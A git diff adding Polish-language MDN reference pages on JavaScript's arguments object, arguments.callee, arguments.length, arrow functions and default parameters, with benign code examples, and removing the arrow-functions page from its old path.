+ + diff --git a/files/pl/web/javascript/reference/functions/arguments/callee/index.html b/files/pl/web/javascript/reference/functions/arguments/callee/index.html new file mode 100644 index 0000000000..50b76e1f63 --- /dev/null +++ b/files/pl/web/javascript/reference/functions/arguments/callee/index.html @@ -0,0 +1,60 @@ +--- +title: callee +slug: Web/JavaScript/Referencje/Funkcje/arguments/callee +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Functions/arguments/callee +--- +

+

+

Podsumowanie

+

Określa aktualnie wykonywaną funkcję. +

+ + + + + + + + + + + + +
Własność obiektów arguments i Function.arguments (Wycofywany)
Zaimplementowano w:JavaScript 1.2 +

JavaScript 1.4: callee wycofywany jako własność Function.arguments, zachowany jako własność zmiennej lokalnej arguments funkcji. +

+
Wersja ECMA:ECMA-262
+

Opis

+

callee jest własnością zmiennej lokalnej arguments dostępnej wewnątrz wszystkich obiektów funkcji; callee jako własność Function.arguments nie jest już używana (również sam obiekt Function.arguments jest wycofywany). +

arguments.callee pozwala anonimowym funkcjom odwoływać się do siebie samych, co jest potrzebne w przypadku rekursywnych anonimowych funkcji. +

Słowo kluczowe this nie odwołuje się do aktualnie wykonywanej funkcji. Użyj własności callee, aby odwołać się do funkcji z poziomu jej ciała. +

+

Przykłady

+

Przykład: Zastosowanie arguments.callee w anonimowych funkcjach rekursywnych

+

Funkcja rekursywna musi mieć możliwość odwołania się do siebie samej. Zazwyczaj funkcja odwołuje się do samej siebie wykorzystując swoją nazwę. Jednakże anonimowa funkcja nie posiada nazwy i jeśli w łańcuchu zasięgu nie istnieje zmienna odwołująca się do tej funkcji, tj. funkcja nie jest przypisana do żadnej zmiennej, to funkcja ta nie ma możliwości odwołania się do siebie samej (anonimowe funkcje można tworzyć przy użyciu wyrażenia function lub konstruktora Function). W tym miejscu wkracza arguments.callee. +

Poniższy przykład definiuje funkcję, która z kolei definiuje i zwraca funkcję obliczającą silnię. +

+
function makeFactorialFunc() {
+   alert('tworzenie funkcji obliczającej silnię!');
+   return function(x) {
+      if (x <= 1)
+         return 1;
+      return x * arguments.callee(x - 1);
+   };
+}
+
+var result = makeFactorialFunc()(5); // zwraca 120 (5 * 4 * 3 * 2 * 1)
+
+

this example isn't very practical, but then again, there are few practical cases where arguments.callee is necessary, and most of the those cases involve closures +


+


+


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments/callee", "es": "es/Referencia_de_JavaScript_1.5/Funciones/arguments/callee", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments/callee", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments/callee" } ) }} diff --git a/files/pl/web/javascript/reference/functions/arguments/index.html b/files/pl/web/javascript/reference/functions/arguments/index.html new file mode 100644 index 0000000000..8a48b5b323 --- /dev/null +++ b/files/pl/web/javascript/reference/functions/arguments/index.html @@ -0,0 +1,129 @@ +--- +title: arguments +slug: Web/JavaScript/Referencje/Funkcje/arguments +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Functions/arguments +--- +

+

+

Podsumowanie

+

Tablicopodobny obiekt odpowiadający argumentom przekazanym do funkcji. +

+ + + + + + + + + + + + +
+Zmienna lokalna we wszystkich funkcjach oraz wycofywana własność obiektu Function
Zaimplementowana w:JavaScript 1.1, NES 2.0 +

JavaScript 1.2: dodano własność arguments.callee. +

JavaScript 1.3: wycofywana własność arguments.caller; usunięto obsługę nazw argumentów oraz zmiennych lokalnych jako własności obiektu arguments. +

JavaScript 1.4: wycofywane arguments, arguments.callee oraz arguments.length jako własności Function; zachowanie arguments jako lokalnej zmiennej funkcji oraz arguments.callee oraz arguments.length jako własności tej zmiennej. +

+
Wersja ECMA:ECMA-262
+

Opis

+

Obiekt arguments jest zmienną lokalną dostępną wewnątrz każdej funkcji; arguments jako własność Function nie może być już używana. +

Do argumentów wewnątrz funkcji możesz odwołać się używając obiektu arguments. Obiekt ten zawiera pozycję dla każdego argumentu przekazanego funkcji, przy czym indeks pierwszego z nich ma wartość 0. Na przykład, jeśli do funkcji przekazane są trzy argumenty, można się do nich odwołać w następujący sposób: +

+
arguments[0]
+arguments[1]
+arguments[2]
+
+

Argumentom mogą być również przypisywane wartości: +

+
arguments[1] = 'nowa wartosc';
+
+
Uwaga: silnik JavaScript SpiderMonkey posiada bug, w którym nie można do arguments{{ mediawiki.external('n') }} przypisać wartości, jeśli n jest większe niż liczba formalnych lub rzeczywistych parametrów. +Błąd ten został usunięty w silniku JavaScript 1.6.
+

Obiekt arguments nie jest tablicą. Jest do niej podobny, lecz nie posiada żadnej z własności tablicy poza length. Przykładowo nie posiada on metody pop. Może być on jednak skonwertowany do prawdziwej tablicy: +

+
 var args = Array.prototype.slice.call(arguments);
+
+

Obiekt arguments dostępny jest wyłącznie wewnątrz ciała funkcji. Próba dostępu do obiektu arguments spoza części deklaracyjnej funkcji zakończy się błędem. +

Możesz użyć obiektu arguments, jeśli funkcja wywołana jest z większą liczbą argumentów niż zostało to zadeklarowane. Jest to użyteczne dla funkcji, które wywoływać można ze zmienną liczbą argumentów. +Aby określić liczbę argumentów przekazywanych do funkcji można użyć własności +arguments.length, a następnie skorzystać z każdego z argumentów używając obiektu arguments (aby określić liczbę argumentów zadeklarowanych podczas definiowania funkcji, skorzystać można z własności Function.length). +

+

Własności

+
arguments.callee
Określa ciało funkcji aktualnie wykonywanej funkcji. +
+
arguments.caller {{ Deprecated_inline() }}
Określa nazwę funkcji, która wywołała aktualnie wykonywaną funkcję. +
+
arguments.length
Określa liczbę argumentów przekazywanych do funkcji. +
+

Zgodność wsteczna

+

JavaScript 1.3 i wcześniejsze wersje

+

Oprócz dostępności jako zmienna lokalna, obiekt arguments jest również własnością obiektu Function i może być poprzedzony nazwą funkcji. Na przykład, jeżeli do funkcji myFunc są przekazywane trzy argumenty o nazwie arg1, arg2, i arg3, można odwołać się do tych argumentów następująco: +

+
myFunc.arguments[0]
+myFunc.arguments[1]
+myFunc.arguments[2]
+
+

JavaScript 1.1 i 1.2

+

Następujące cechy dostępne w JavaScripcie 1.1 i JavaScripcie 1.2 zostały usunięte: +

+ + +

Przykłady

+

Przykład: Definiowanie funkcji łączącej łańcuchy znaków

+

Ten przykład definiuje funkcję łączącą kilka łańcuchów znaków. Jedynym formalnym argumentem tej funkcji jest łańcuch znaków, który określa znaki oddzielające poszczególne łączone elementy. Funkcja jest zdefiniowana następująco: +

+
function myConcat(separator) {
+   result = ""; // inicjalizacja listy
+   // iteracja pomiędzy argumentami
+   for (var i = 1; i < arguments.length; i++) {
+      result += arguments[i] + separator;
+   }
+   return result;
+}
+
+

Możesz przesłać dowolną liczbę argumentów do tej funkcji, tworząc na ich bazie listę. +

+
// zwraca "czerwony, pomaranczowy, niebieski, "
+myConcat(", ", "czerwony", "pomaranczowy", "niebieski");
+
+// zwraca "slon; zyrafa; lew; gepard; "
+myConcat("; ", "slon", "zyrafa", "lew", "gepard");
+
+// zwraca "szalwia. bazylia. oregano. pieprz. pietruszka. "
+myConcat(". ", "szalwia", "bazylia", "oregano", "pieprz", "pietruszka");
+
+

Przykład: Definiowanie funkcji, która tworzy listę HTML

+

Ten przykład definiuje funkcję, która tworzy łańcuch znaków reprezentujący kod HTML listy. Jedynym argumentem formalnym tej funkcji jest ciąg znaków, który przyjmuje wartość "u" dla listy nieuporządkowanej, lub "o" w przypadku listy uporządkowanej. Funkcja ta jest zdefiniowana następująco: +

+
function list(type) {
+  var result = "<" + type + "l>";
+
+  // iteracja pomiędzy argumentami
+  for (var i = 1; i < arguments.length; i++)
+    result += "<li>" + arguments[i] + "</li>";
+
+  result += "</" + type + "l>"; // koniec listy
+
+  return result;
+}
+
+

Możesz przekazać funkcji dowolną liczbę argumentów, a ona doda każdy z nich jako kolejną pozycję na liście o wskazanym typie. Przykładowo następujące wywołanie funkcji: +

+
var listHTML = list("u", "Raz", "Dwa", "Trzy");
+// listHTML zawiera łańcuch "<ul><li>Raz</li><li>Dwa</li><li>Trzy</li></ul>"
+
+


+


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments", "es": "es/Referencia_de_JavaScript_1.5/Funciones/arguments", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments" } ) }} diff --git a/files/pl/web/javascript/reference/functions/arguments/length/index.html b/files/pl/web/javascript/reference/functions/arguments/length/index.html new file mode 100644 index 0000000000..79d54a4f50 --- /dev/null +++ b/files/pl/web/javascript/reference/functions/arguments/length/index.html @@ -0,0 +1,59 @@ +--- +title: length +slug: Web/JavaScript/Referencje/Funkcje/arguments/length +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Functions/arguments/length +--- +

+

+

Podsumowanie

+

Określa liczbę argumentów przekazywanych do funkcji. +

+ + + + + + + + + + + + +
Własność obiektów arguments i Function.arguments (wycofywana)
Zaimplementowana w:JavaScript 1.1 +

JavaScript 1.4: Przenaczono do wycofania length jako własność Function.arguments, zachowano ją natomiast jako własność zmiennej lokalnej arguments funkcji. +

+
Wersja ECMA:ECMA-262
+

Opis

+

length jest własnością zmiennej lokalnej arguments dostępnej wewnątrz wszystkich obiektów funkcji; length jako własność Function.arguments nie jest już używana (również sam obiekt Function.arguments jest wycofywany). +

arguments.length dostarcza liczbę argumentów przekazywanych obecnie funkcji. Dla porównania, własność Function.length wskazuje ilość argumentów oczekiwanych przez funkcję. +

+

Przykłady

+

Przykład: Zastosowanie Function.length i arguments.length

+

Następujący przykład przedstawia zastosowanie Function.length i arguments.length. +

+
function addNumbers(x,y){
+   if (arguments.length == addNumbers.length) {
+      return (x+y)
+   }
+   else return 0
+}
+
+

Jeśli podano więcej niż dwa argumenty funkcji, zostanie zwrócona wartość 0: +

+
result=addNumbers(3,4,5)   // zwraca 0
+result=addNumbers(3,4)     // zwraca 7
+result=addNumbers(103,104) // zwraca 207
+
+

Zobacz także

+

Function.length +


+

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Functions/arguments/length", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Fonctions/arguments/length", "ja": "ja/Core_JavaScript_1.5_Reference/Functions/arguments/length" } ) }} diff --git a/files/pl/web/javascript/reference/functions/arrow_functions/index.html b/files/pl/web/javascript/reference/functions/arrow_functions/index.html new file mode 100644 index 0000000000..d1b9d6010f --- /dev/null +++ b/files/pl/web/javascript/reference/functions/arrow_functions/index.html @@ -0,0 +1,355 @@ +--- +title: Funkcje strzałkowe +slug: Web/JavaScript/Reference/Functions/Funkcje_strzalkowe +translation_of: Web/JavaScript/Reference/Functions/Arrow_functions +--- +
{{jsSidebar("Functions")}}
+ +

Funkcja strzałkowa ma krótszą składnię niż zwykłe wyrażenie funkcji oraz nie posiada własnego this, argumentów, super, tudzież właściwości new.target. Taki sposób wyrażenia funkcji najlepiej wykorzystać przy tworzeniu funkcji bez metod, ponadto nie mogą zostać one użyte jako konstruktory.

+ +

Składnia

+ +

Składnia podstawowa

+ +
(param1, param2, …, paramN) => { statements }
+(param1, param2, …, paramN) => expression
+// inaczej mówiąc: (param1, param2, …, paramN) => { return expression; }
+
+// Nawiasy są opcjonalne jeżeli występuje wyłącznie jedna nazwa parametru:
+(singleParam) => { statements }
+singleParam => { statements }
+singleParam => expression
+
+
+// Lista parametrów dla funkcji bez parametrów powinna być zapisana przy użyciu pustego nawiasu.
+() => { statements }
+
+ +

Zaawansowana składnia

+ +
// Otoczenie ciała funkcji nawiasami pozwoli zwrócić tzw. object literal expression:
+params => ({foo: bar})
+
+// Parametry Rest (Rest parameters) i domyślne (default parameters) są wspierane
+(param1, param2, ...rest) => { statements }
+(param1 = defaultValue1, param2, …, paramN = defaultValueN) => { statements }
+
+// Destrukturyzacja (Destructuring) w ramach listy parametrów jest również wspierana
+let f = ([a, b] = [1, 2], {x: c} = {x: a + b}) => a + b + c;
+f();
+// 6
+
+ +

Opis

+ +

Zobacz również "ES6 In Depth: Arrow functions" na hacks.mozilla.org.

+ +

Dwa czynniki, które wpłynęły na wprowadzenie funkcji strzałkowych: krótszy zapis funkcji i brak wiązania this.

+ +

Krótsze funkcje

+ +
var materials = [
+  'Hydrogen',
+  'Helium',
+  'Lithium',
+  'Beryllium'
+];
+
+materials.map(function(material) {
+  return material.length;
+}); // [8, 6, 7, 9]
+
+materials.map((material) => {
+  return material.length;
+}); // [8, 6, 7, 9]
+
+materials.map(material => material.length); // [8, 6, 7, 9]
+
+materials.map(({ length }) => length); // [8, 6, 7, 9]
+
+ +

Brak oddzielnego this

+ +

Przed wprowadzeniem funkcji strzałkowych każda nowa funkcja deniniowała swoją własną wartość this (nowy obiekt w przypadku konstruktora, undefined w wywołaniach funkcji strict mode, obiekt bazowy jeśli funkcja jest wywoływana jako "metoda obiektowa", itp.). Okazało się to niekorzystne przy obiektowym stylu programowania.

+ +
function Person() {
+  // Konstruktor Person() definiuje `this` jako instancję samego siebie.
+  this.age = 0;
+
+  setInterval(function growUp() {
+    // Bez trybu non-strict, funkcja growUp() definuje `this`
+    // jako obiekt globalny, który jest inny od `this`
+    // zdefiniowanego przez konstruktor Person().
+    this.age++;
+  }, 1000);
+}
+
+var p = new Person();
+ +

W ECMAScript 3/5, problem z this można było rozwiązać przez przydzielenie wartości this do zmiennej, która wygląda bardzo podobnie.

+ +
function Person() {
+  var that = this;
+  that.age = 0;
+
+  setInterval(function growUp() {
+    // The callback refers to the `that` variable of which
+    // the value is the expected object.
+    that.age++;
+  }, 1000);
+}
+ +

Można było również stworzyć funkcję bound, co pozwoliło nadać wstępnie przypisaną wartość this do powiązanej funkcji docelowej (funkcja growUp() w przykładzie powyżej).

+ +

Funkcja strzałkowa nie posiada własnego this; używana jest wartość this kontekstu wykonania. W związku z tym, w poniższym kodzie, this użyty w funkcji, który jest przekazywany do setInterval, ma taką samą wartość jak this w funkcji otaczającej:

+ +
function Person(){
+  this.age = 0;
+
+  setInterval(() => {
+    this.age++; // własność |this| właściwie odnosi się do obiektu Person()
+  }, 1000);
+}
+
+var p = new Person();
+ +

Relation with strict mode

+ +

Given that this comes from the surrounding lexical context, strict mode rules with regard to this are ignored.

+ +
var f = () => { 'use strict'; return this; };
+f() === window; // or the global object
+ +

All other strict mode rules apply normally.

+ +

Invoked through call or apply

+ +

Since arrow functions do not have their own this, the methods call() or apply() can only pass in parameters. thisArg is ignored.

+ +
var adder = {
+  base: 1,
+
+  add: function(a) {
+    var f = v => v + this.base;
+    return f(a);
+  },
+
+  addThruCall: function(a) {
+    var f = v => v + this.base;
+    var b = {
+      base: 2
+    };
+
+    return f.call(b, a);
+  }
+};
+
+console.log(adder.add(1));         // This would log to 2
+console.log(adder.addThruCall(1)); // This would log to 2 still
+ +

No binding of arguments

+ +

Arrow functions do not have their own arguments object. Thus, in this example, arguments is simply a reference to the the arguments of the enclosing scope:

+ +
var arguments = [1, 2, 3];
+var arr = () => arguments[0];
+
+arr(); // 1
+
+function foo(n) {
+  var f = () => arguments[0] + n; // foo's implicit arguments binding. arguments[0] is n
+  return f(10);
+}
+
+foo(1); // 2
+ +

In most cases, using rest parameters is a good alternative to using an arguments object.

+ +
function foo(n) {
+  var f = (...args) => args[0] + n;
+  return f(10);
+}
+
+foo(1); // 11
+ +

Arrow functions used as methods

+ +

As stated previously, arrow function expressions are best suited for non-method functions. Let's see what happens when we try to use them as methods:

+ +
'use strict';
+var obj = {
+  i: 10,
+  b: () => console.log(this.i, this),
+  c: function() {
+    console.log(this.i, this);
+  }
+}
+obj.b(); // prints undefined, Window {...} (or the global object)
+obj.c(); // prints 10, Object {...}
+ +

Arrow functions do not have their own this. Another example involving {{jsxref("Object.defineProperty()")}}:

+ +
'use strict';
+var obj = {
+  a: 10
+};
+
+Object.defineProperty(obj, 'b', {
+  get: () => {
+    console.log(this.a, typeof this.a, this);
+    return this.a + 10; // represents global object 'Window', therefore 'this.a' returns 'undefined'
+  }
+});
+
+ +

Use of the new operator

+ +

Arrow functions cannot be used as constructors and will throw an error when used with new.

+ +
var Foo = () => {};
+var foo = new Foo(); // TypeError: Foo is not a constructor
+ +

Use of prototype property

+ +

Arrow functions do not have a prototype property.

+ +
var Foo = () => {};
+console.log(Foo.prototype); // undefined
+
+ +

Use of the yield keyword

+ +

The yield keyword may not be used in an arrow function's body (except when permitted within functions further nested within it). As a consequence, arrow functions cannot be used as generators.

+ +

Function body

+ +

Arrow functions can have either a "concise body" or the usual "block body".

+ +

In a concise body, only an expression is specified, which becomes the explicit return value. In a block body, you must use an explicit return statement.

+ +
var func = x => x * x;
+// concise body syntax, implied "return"
+
+var func = (x, y) => { return x + y; };
+// with block body, explicit "return" needed
+
+ +

Returning object literals

+ +

Keep in mind that returning object literals using the concise body syntax params => {object:literal} will not work as expected.

+ +
var func = () => { foo: 1 };
+// Calling func() returns undefined!
+
+var func = () => { foo: function() {} };
+// SyntaxError: function statement requires a name
+ +

This is because the code inside braces ({}) is parsed as a sequence of statements (i.e. foo is treated like a label, not a key in an object literal).

+ +

Remember to wrap the object literal in parentheses.

+ +
var func = () => ({foo: 1});
+ +

Line breaks

+ +

An arrow function cannot contain a line break between its parameters and its arrow.

+ +
var func = ()
+           => 1;
+// SyntaxError: expected expression, got '=>'
+ +

Parsing order

+ +

Although the arrow in an arrow function is not an operator, arrow functions have special parsing rules that interact differently with operator precedence compared to regular functions.

+ +
let callback;
+
+callback = callback || function() {}; // ok
+
+callback = callback || () => {};
+// SyntaxError: invalid arrow-function arguments
+
+callback = callback || (() => {});    // ok
+
+ +

More examples

+ +
// An empty arrow function returns undefined
+let empty = () => {};
+
+(() => 'foobar')();
+// Returns "foobar"
+// (this is an Immediately Invoked Function Expression
+// see 'IIFE' in glossary)
+
+var simple = a => a > 15 ? 15 : a;
+simple(16); // 15
+simple(10); // 10
+
+let max = (a, b) => a > b ? a : b;
+
+// Easy array filtering, mapping, ...
+
+var arr = [5, 6, 13, 0, 1, 18, 23];
+
+var sum = arr.reduce((a, b) => a + b);
+// 66
+
+var even = arr.filter(v => v % 2 == 0);
+// [6, 0, 18]
+
+var double = arr.map(v => v * 2);
+// [10, 12, 26, 0, 2, 36, 46]
+
+// More concise promise chains
+promise.then(a => {
+  // ...
+}).then(b => {
+  // ...
+});
+
+// Parameterless arrow functions that are visually easier to parse
+setTimeout( () => {
+  console.log('I happen sooner');
+  setTimeout( () => {
+    // deeper code
+    console.log('I happen later');
+  }, 1);
+}, 1);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}{{Spec2('ESDraft')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("javascript.functions.arrow_functions")}}

+
+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/functions/default_parameters/index.html b/files/pl/web/javascript/reference/functions/default_parameters/index.html new file mode 100644 index 0000000000..b192456adf --- /dev/null +++ b/files/pl/web/javascript/reference/functions/default_parameters/index.html @@ -0,0 +1,225 @@ +--- +title: Parametry domyślne +slug: Web/JavaScript/Reference/Functions/Parametry_domyślne +tags: + - ECMAScript2015 + - Funkcje + - JavaScript +translation_of: Web/JavaScript/Reference/Functions/Default_parameters +--- +
{{jsSidebar("Functions")}}
+ +

Domyślne parametry funkcji pozwalają na inicjalizację nazwanych parametrów wartościami domyślnymi tam, gdzie nie została podana żadna wartość lub jako wartość podano undefined.

+ +
{{EmbedInteractiveExample("pages/js/functions-default.html")}}
+ + + +

Składnia

+ +
function [nazwa]([parametr1[ = domyślnaWartość1 ][, ..., parametrN[ = domyślnaWartośćN ]]]) {
+   ciało funkcji
+}
+
+ +

Opis

+ +

W języku JavaScript domyślną wartością parametrów funkcji jest {{jsxref("undefined")}}. Często jednak dobrze jest ustawić inną wartość domyślną – wówczas parametry domyślne okazują się pomocne.

+ +

W przeszłości, ogólną strategią na ustawianie domyślnych wartości było sprawdzanie parametrów w ciele funkcji – w sytuacji, w których były one równe undefined, przypisywano im konkretne wartości.

+ +

W następującym przykładzie, jeśli żadna wartość nie jest podana jako b, kiedy wywoływana jest funkcja pomnóż, wartość b powinna być równa undefined – wówczas funkcja powinna zwrócić NaN jako wynik operacji a * b.

+ +
function pomnóż(a, b) {
+  return a * b;
+}
+
+pomnóż(5, 2); // 10
+pomnóż(5);    // NaN !
+
+ +

Aby się przed tym uchronić, należy użyć czegoś takiego, jak w drugiej linijce, gdzie wartość b jest ustawiana na 1, jeśli funkcja pomnóż jest wywoływana tylko z jednym argumentem.

+ +
function pomnóż(a, b) {
+  b = (typeof b !== 'undefined') ?  b : 1;
+  return a * b;
+}
+
+pomnóż(5, 2); // 10
+pomnóż(5);    // 5
+
+ +

Dzięki parametrom domyślnym w ES2015, tego rodzaju sprawdzanie wartości parametrów w ciele funkcji nie jest już konieczne. Można teraz przypisać 1 jako domyślną wartość w nagłówku funkcji:

+ +
function pomnóż(a, b = 1) {
+  return a * b;
+}
+
+pomnóż(5, 2); // 10
+pomnóż(5);    // 5
+
+ +

Przykłady

+ +

Przekazywanie undefined kontra inne puste wartości

+ +

W drugim wywołaniu funkcji w tym przykłądzie, nawet jeśli jako pierwszy argument wprost podany undefined (jednak nie null lub inne puste wartości), wartością argumentu num dalej będzie wartość domyślna.

+ +
function test(num = 1) {
+  console.log(typeof num);
+}
+
+test();          // 'number' (num jest ustawiany na 1)
+test(undefined); // 'number' (num również jest ustawiany na 1)
+
+// test z innymi "pustymi" wartościami:
+test('');        // 'string' (num jest ustawiany na '')
+test(null);      // 'object' (num jest ustawiany na null)
+
+ +

Ewaluacja w czasie wykonania

+ +

Domyślne argumenty są przypisywane w czasie wykonania, a więc w odróżnieniu od np. Pythona, nowy obiekt jest tworzony przy każdym wywołaniu funkcji.

+ +
function append(wartość, tablica = []) {
+  array.push(wartość);
+  return tablica;
+}
+
+append(1); //[1]
+append(2); //[2], nie [1, 2]
+
+ +

Dotyczy to również funkcji i zmiennych:

+ +
function callSomething(thing = something()) {
+ return thing;
+}
+
+let numberOfTimesCalled = 0;
+function something() {
+  numberOfTimesCalled += 1;
+  return numberOfTimesCalled;
+}
+
+callSomething(); // 1
+callSomething(); // 2
+ +

Domyślne parametry są dostępne dla późniejszych domyślnych parametrów

+ +

Parametry zdefiniowane wcześniej (bardziej na lewo na liście parametrów), są dostępne dla domyślnych parametrów definiowanych później:

+ +
function pozdrów(imię, pozdrowienie, wiadomość = pozdrowienie + ' ' + imię) {
+    return [imię, pozdrowienie, wiadomość];
+}
+
+pozdrów('Dawid', 'Cześć');  // ["Dawid", "Cześć", "Cześć Dawid"]
+pozdrów('Dawid', 'Cześć', 'Wszystkiego najlepszego!');  // ["Dawid", "Cześć", "Wszystkiego najlepszego!"]
+
+ +

Ta funkcjonalność może być przybliżona w ten sposób, pokazujący, jak wiele przypadków brzegowych może być obsłużonych:

+ +
function go() {
+  return ':P';
+}
+
+function withDefaults(a, b = 5, c = b, d = go(), e = this,
+                      f = arguments, g = this.value) {
+  return [a, b, c, d, e, f, g];
+}
+
+function withoutDefaults(a, b, c, d, e, f, g) {
+  switch (arguments.length) {
+    case 0:
+      a;
+    case 1:
+      b = 5;
+    case 2:
+      c = b;
+    case 3:
+      d = go();
+    case 4:
+      e = this;
+    case 5:
+      f = arguments;
+    case 6:
+      g = this.value;
+    default:
+  }
+  return [a, b, c, d, e, f, g];
+}
+
+withDefaults.call({value: '=^_^='});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+
+withoutDefaults.call({value: '=^_^='});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+
+ +

Funkcje definiowane w ciele funkcji

+ +

Wprowadzone w Gecko 33 {{geckoRelease(33)}}. Funkcje deklarowane w ciele funkcji nie mogą być używane jako wartości domyślne w tej samej funkcji. Przy takiej próbie, wyrzucany jest jest {{jsxref("ReferenceError")}}. Parametr domyślny zawsze wykonywany jest jako pierwszy, a więc deklaracje w ciele funkcji są ewaluowane później.

+ +
// Nie działa! Wyrzuca ReferenceError.
+function f(a = go()) {
+  function go() { return ':P'; }
+}
+
+ +

Parametry bez wartości domyślnych po parametrach domyślnych

+ +

Przed Gecko 26 {{geckoRelease(26)}}, poniższy kod zwracał {{jsxref("SyntaxError")}}. Zostało to naprawione w {{bug(777060)}}. Wartości parametrów dalej są ustawiane w kolejności od lewej do prawej, nadpisując domyślne parametry, nawet jeśli występują potem parametry bez wartości domyślnych.

+ +
function f(x = 1, y) {
+  return [x, y];
+}
+
+f(); // [1, undefined]
+f(2); // [2, undefined]
+
+ +

Parametr destrukturyzowany z przypisaniem domyślnej wartości

+ +

Możesz też użyć przypisania domyślnej wartości z notacją parametru destruktyryzowanego:

+ +
function f([x, y] = [1, 2], {z: z} = {z: 3}) {
+  return x + y + z;
+}
+
+f(); // 6
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-function-definitions', 'Function Definitions')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}{{Spec2('ESDraft')}}
+ +

Wsparcie przeglądarek

+ +
+ + +

{{Compat("javascript.functions.default_parameters")}}

+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/functions/funkcje_strzalkowe/index.html b/files/pl/web/javascript/reference/functions/funkcje_strzalkowe/index.html deleted file mode 100644 index d1b9d6010f..0000000000 --- a/files/pl/web/javascript/reference/functions/funkcje_strzalkowe/index.html +++ /dev/null @@ -1,355 +0,0 @@ ---- -title: Funkcje strzałkowe -slug: Web/JavaScript/Reference/Functions/Funkcje_strzalkowe -translation_of: Web/JavaScript/Reference/Functions/Arrow_functions ---- -
{{jsSidebar("Functions")}}
- -

Funkcja strzałkowa ma krótszą składnię niż zwykłe wyrażenie funkcji oraz nie posiada własnego this, argumentów, super, tudzież właściwości new.target. Taki sposób wyrażenia funkcji najlepiej wykorzystać przy tworzeniu funkcji bez metod, ponadto nie mogą zostać one użyte jako konstruktory.

- -

Składnia

- -

Składnia podstawowa

- -
(param1, param2, …, paramN) => { statements }
-(param1, param2, …, paramN) => expression
-// inaczej mówiąc: (param1, param2, …, paramN) => { return expression; }
-
-// Nawiasy są opcjonalne jeżeli występuje wyłącznie jedna nazwa parametru:
-(singleParam) => { statements }
-singleParam => { statements }
-singleParam => expression
-
-
-// Lista parametrów dla funkcji bez parametrów powinna być zapisana przy użyciu pustego nawiasu.
-() => { statements }
-
- -

Zaawansowana składnia

- -
// Otoczenie ciała funkcji nawiasami pozwoli zwrócić tzw. object literal expression:
-params => ({foo: bar})
-
-// Parametry Rest (Rest parameters) i domyślne (default parameters) są wspierane
-(param1, param2, ...rest) => { statements }
-(param1 = defaultValue1, param2, …, paramN = defaultValueN) => { statements }
-
-// Destrukturyzacja (Destructuring) w ramach listy parametrów jest również wspierana
-let f = ([a, b] = [1, 2], {x: c} = {x: a + b}) => a + b + c;
-f();
-// 6
-
- -

Opis

- -

Zobacz również "ES6 In Depth: Arrow functions" na hacks.mozilla.org.

- -

Dwa czynniki, które wpłynęły na wprowadzenie funkcji strzałkowych: krótszy zapis funkcji i brak wiązania this.

- -

Krótsze funkcje

- -
var materials = [
-  'Hydrogen',
-  'Helium',
-  'Lithium',
-  'Beryllium'
-];
-
-materials.map(function(material) {
-  return material.length;
-}); // [8, 6, 7, 9]
-
-materials.map((material) => {
-  return material.length;
-}); // [8, 6, 7, 9]
-
-materials.map(material => material.length); // [8, 6, 7, 9]
-
-materials.map(({ length }) => length); // [8, 6, 7, 9]
-
- -

Brak oddzielnego this

- -

Przed wprowadzeniem funkcji strzałkowych każda nowa funkcja deniniowała swoją własną wartość this (nowy obiekt w przypadku konstruktora, undefined w wywołaniach funkcji strict mode, obiekt bazowy jeśli funkcja jest wywoływana jako "metoda obiektowa", itp.). Okazało się to niekorzystne przy obiektowym stylu programowania.

- -
function Person() {
-  // Konstruktor Person() definiuje `this` jako instancję samego siebie.
-  this.age = 0;
-
-  setInterval(function growUp() {
-    // Bez trybu non-strict, funkcja growUp() definuje `this`
-    // jako obiekt globalny, który jest inny od `this`
-    // zdefiniowanego przez konstruktor Person().
-    this.age++;
-  }, 1000);
-}
-
-var p = new Person();
- -

W ECMAScript 3/5, problem z this można było rozwiązać przez przydzielenie wartości this do zmiennej, która wygląda bardzo podobnie.

- -
function Person() {
-  var that = this;
-  that.age = 0;
-
-  setInterval(function growUp() {
-    // The callback refers to the `that` variable of which
-    // the value is the expected object.
-    that.age++;
-  }, 1000);
-}
- -

Można było również stworzyć funkcję bound, co pozwoliło nadać wstępnie przypisaną wartość this do powiązanej funkcji docelowej (funkcja growUp() w przykładzie powyżej).

- -

Funkcja strzałkowa nie posiada własnego this; używana jest wartość this kontekstu wykonania. W związku z tym, w poniższym kodzie, this użyty w funkcji, który jest przekazywany do setInterval, ma taką samą wartość jak this w funkcji otaczającej:

- -
function Person(){
-  this.age = 0;
-
-  setInterval(() => {
-    this.age++; // własność |this| właściwie odnosi się do obiektu Person()
-  }, 1000);
-}
-
-var p = new Person();
- -

Relation with strict mode

- -

Given that this comes from the surrounding lexical context, strict mode rules with regard to this are ignored.

- -
var f = () => { 'use strict'; return this; };
-f() === window; // or the global object
- -

All other strict mode rules apply normally.

- -

Invoked through call or apply

- -

